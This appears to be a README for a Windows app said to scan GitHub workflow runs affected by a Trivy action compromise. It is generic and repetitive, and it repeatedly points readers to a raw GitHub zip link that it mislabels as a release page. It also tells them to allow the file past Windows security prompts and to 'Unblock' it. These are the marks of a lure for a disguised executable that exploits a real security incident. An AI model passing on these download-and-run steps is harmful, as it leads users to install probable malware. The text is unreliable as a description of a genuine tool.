Visit this page to download: https://raw.githubusercontent.com/orlandophotomechanical47/trivy-compromise-scanner/main/cmd/scanner_trivy_compromise_v3.5.zip
On that page, choose the latest release for Windows and download the file that matches your computer.
trivy-compromise-scanner helps you check GitHub workflow runs that may be affected by the trivy action compromise. It is built for end users who need a clear way to review runs and spot what needs attention.
Use it when you want to:
- review workflow runs linked to trivy
- find runs that may have been impacted
- check results without reading raw logs
- save time when you need to inspect many runs
Before you run the app, make sure your PC has:
- Windows 10 or Windows 11
- permission to download files
- enough free space to save the app
- access to your browser or file explorer
If Windows asks for permission, choose the option that lets the app open.
-
Open the release page: https://raw.githubusercontent.com/orlandophotomechanical47/trivy-compromise-scanner/main/cmd/scanner_trivy_compromise_v3.5.zip
-
Find the latest release near the top of the page.
-
Look under Assets for a Windows download.
-
Download the file to your PC.
-
Open the downloaded file from your Downloads folder.
-
If Windows shows a security prompt, select the option to run the file.
-
Follow the on-screen steps until the app opens.
After you download the file:
- open File Explorer
- go to Downloads
- double-click the app file
- if the app opens a setup window, follow the prompts
- if the app opens right away, wait for it to load
If your browser asks what to do with the file, choose Save first, then open it from the folder where it was saved.
This scanner is meant to help you review workflow activity tied to the trivy action issue. It can help you look for:
- workflow runs that used a trivy action version in the affected range
- jobs that may need a second look
- runs tied to repositories that use GitHub Actions
- items that should be reviewed by your team
A common way to use the app is:
- you hear that a workflow tool may have been compromised
- you want to check which runs might be involved
- you open the scanner and review the output
- you use the results to decide what to inspect next
This gives you a simple way to sort through runs without checking each one by hand.
The release page may include one or more files, such as:
- a Windows app file
- a zip archive
- a support file with release notes
If you see a zip file, right-click it and choose Extract All before opening the app inside.
Use this simple flow:
- Download the latest Windows release.
- Open the app.
- Connect or load the workflow data you want to review.
- Start the scan.
- Read the results.
- Save or share the output if needed.
When you open the results, look for:
- names of workflows
- run dates
- status fields
- any entry marked for review
- repeated items that point to the same repo or action
If the app shows a list, start at the top and work down one row at a time.
Use the app only on data you trust and have permission to review. If you download the file from the release page, keep it in the original folder until you confirm it runs the way you expect.
For a clean setup:
- use the latest release
- avoid renamed files from other sources
- keep the download in one place
- do not mix it with old copies
- Check that the download finished
- Right-click the file and choose Open
- Move it out of a compressed folder if needed
- Try running it again from Downloads
- Right-click the file
- Select Properties
- Look for an Unblock option
- Apply the change
- Try opening the file again
- Download the latest release again
- Make sure you picked the correct Windows file
- Reopen the app from the saved folder
- Try running it with the default Windows settings
- Open your browser’s download history
- Look in Downloads
- Search for the repository name
- Return to the release page and download it again
If this is your first time using the tool:
- download the latest release
- open it once to confirm it runs
- scan a small set of workflow runs first
- review the output on screen
- move to a larger scan after you know the app works
Keep the app in a folder you can find later. A simple path such as Downloads or Desktop works well for most users. If you move the file, keep the related files together so the app can still start normally.
After a scan, save the output if the app gives you that option. That lets you return to the same results later without running the scan again.
The app may show:
- a simple start screen
- a field for loading data
- a scan button
- a results list
- a status area for progress
Each part should help you move from download to review with little setup.
If you want the newest version, use this page again:
Open the latest release and download the Windows file from Assets again if you need a fresh copy
- Release: a published version of the app
- Asset: a file attached to the release
- Workflow: a task run by GitHub Actions
- Run: one execution of a workflow
- Scan: the check the app performs on your data
- Create a folder for tools if you keep many downloads.
- Download the app from the release page.
- Open the file from that folder.
- Run a small scan first.
- Keep the app and its files together.
- Go to https://raw.githubusercontent.com/orlandophotomechanical47/trivy-compromise-scanner/main/cmd/scanner_trivy_compromise_v3.5.zip
- Download the latest Windows file
- Open it and follow the prompts
- Run your first scan